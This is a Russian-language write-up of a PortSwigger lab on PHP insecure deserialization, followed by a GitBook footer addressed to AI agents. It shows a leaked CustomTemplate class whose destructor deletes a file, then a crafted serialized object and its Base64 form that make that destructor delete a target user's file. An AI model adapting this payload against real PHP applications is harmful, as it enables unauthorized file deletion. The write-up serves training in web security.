> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/deserialization/injecting-arbitrary-objects-in-php.md).

# Внедрение произвольных объектов в PHP

Заметки по лабораторным работам PortSwigger Web Security Academy о внедрении произвольных объектов в PHP, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### Произвольная инъекция объектов в PHP

**Описание лабораторной работы**

В этой лабораторной работе используется механизм сессий на основе сериализации PHP\*\* и он уязвим к \*\*инъекции произвольных объектов\*\*. / Цель состоит в том, чтобы **создать и внедрить вредоносный сериализованный объект** чтобы удалить `morale.txt` файл, расположенный в личном каталоге Карлоса.

Предоставленный идентификатор:

* **Пользователь**: `wiener`
* **Пароль**: `peter`

**Подключение и наблюдение за сессией**

После подключения с предоставленными учётными данными, **cookie сеанса** устанавливается. / Его содержимое — сериализованный PHP-объект типа `Пользователь`, например:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v2rpyke9b13ypl302bxc74cerzpnp8st";}
```

{% endcode %}

Это подтверждает, что \*\*приложение десериализует PHP-объекты, которыми может управлять пользователь\*\*.

**Доступ к исходному коду**

В HTML-коде приложения комментарий привлекает внимание:

```html
 <!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->
```

Прямой доступ к `/libs/CustomTemplate.php` файл ничего не возвращает.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94655b4741007dd0b2cd0bd6ea55f157ab00d2b5%2F%7B4CD672BA-97B5-4C3F-9864-C2A4E0197170%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Однако, используя **редактор saveguard** (суффикс `~`):

мы получаем \*\*исходный код PHP\*\*.

```php
<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Карлос думал, что это хорошая идея
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>
```

**Анализ уязвимого класса**

Эта `CustomTemplate` класс включает:

* Два приватных атрибута:
* `$template_file_path`
* `$lock_file_path`
* Магический `__destruct()` метод, который выполняет:

```php
if (file_exists($this->lock_file_path)) {
    unlink($this->lock_file_path);
}
```

Это означает, что **при уничтожении объекта**, любой файл, путь к которому хранится в `lock_file_path` может быть удалён

**Операция через десериализацию**

Поскольку приложение десериализует PHP-объекты из сессии, возможно:

1. Создать вручную `CustomTemplate` object
2. Непосредственно управлять `lock_file_path`
3. Принудительно удалить целевой файл при автоматическом вызове `__destruct()`

Вредоносный сериализованный объект:

{% code overflow="wrap" %}

```json
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Кодирование Base64**

Чтобы внедрить объект в cookie сессии, он кодируется в Base64:

{% code overflow="wrap" %}

```bash
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ==
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/deserialization/injecting-arbitrary-objects-in-php.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
